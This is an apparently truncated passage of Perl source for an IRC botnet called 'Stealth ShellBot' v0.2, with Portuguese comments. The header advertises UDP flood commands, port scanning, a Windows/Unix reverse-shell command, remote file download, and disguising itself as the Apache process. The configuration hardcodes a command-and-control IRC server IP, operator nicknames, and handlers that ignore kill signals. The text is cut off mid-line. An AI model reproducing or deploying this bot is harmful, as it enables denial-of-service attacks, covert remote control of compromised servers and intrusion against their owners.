#!/usr/bin/perl # ShellBOT # 0ldW0lf - oldwolf@atrix-team.org # - www.atrix-team.org # Stealth ShellBot Vers?o 0.2 by Thiago X # Feito para ser usado em grandes redes de IRC sem IRCOP enchendo o saco :) # Mudan?as: # - O Bot pega o nick/ident/name em uma URL e entra no IRC disfar?ado :); # - O Bot agora responde PINGs; # - Voc? pode definir o prefixo dos comandos nas configura??es; # - Agora o Bot procurar pelo processo do apache para rodar como o apache :D; # Comandos: # - Adicionado comando !estatisticas <on/off>; # - Alterado o comando @pacota para @oldpack; # - Adicionado dois novos pacotadores: @udp <ip> <porta> <tempo> e @udpfaixa <faixa de ip> <porta> <tempo>; # - Adicionado um novo portscan -> @fullportscan <ip> <porta inicial> <porta final>; # - Adicionado comando @conback <ip> <porta> com suporte para Windows/Unix :D; # - Adicionado comando: !sair para finalizar o bot; # - Adicionado comando: !novonick para trocar o nick do bot por um novo aleatorio; # - Adicionado comando !entra <canal> <tempo> e !sai <canal> <tempo>; # - Adicionado comando @download <url> <arquivo a ser salvo>; # - Adicionado comando !pacotes <on/off> para ativar/desativar pacotes :); ########## CONFIGURACAO ############ my $processo = 'xXx'; if (`ps aux` =~ /xXx/) { exit; } $servidor='91.220.127.238' unless $servidor; my $porta='6667'; my @canais=("#"); my @adms=("kuba","alan"); # Anti Flood ( 6/3 Recomendado ) my $linas_max=10; my $sleep=3; my $nick = getnick(); my $ircname = getnick(); my $realname = getnick(); my $acessoshell = 1; ######## Stealth ShellBot ########## my $prefixo = "!all"; my $estatisticas = 0; my $pacotes = 1; #################################### my $VERSAO = '0.2a'; $SIG{'INT'} = 'IGNORE'; $SIG{'HUP'} = 'IGNORE'; $SIG{'TERM'} = 'IGNORE'; $SIG{'CHLD'} = 'IGNORE'; $SIG{'PS'} = 'IGNORE'; use IO::Socket; use Socket; use IO::Select; chdir("/"); $servidor="$ARGV[0]" if $ARGV[0]; $0="$processo"."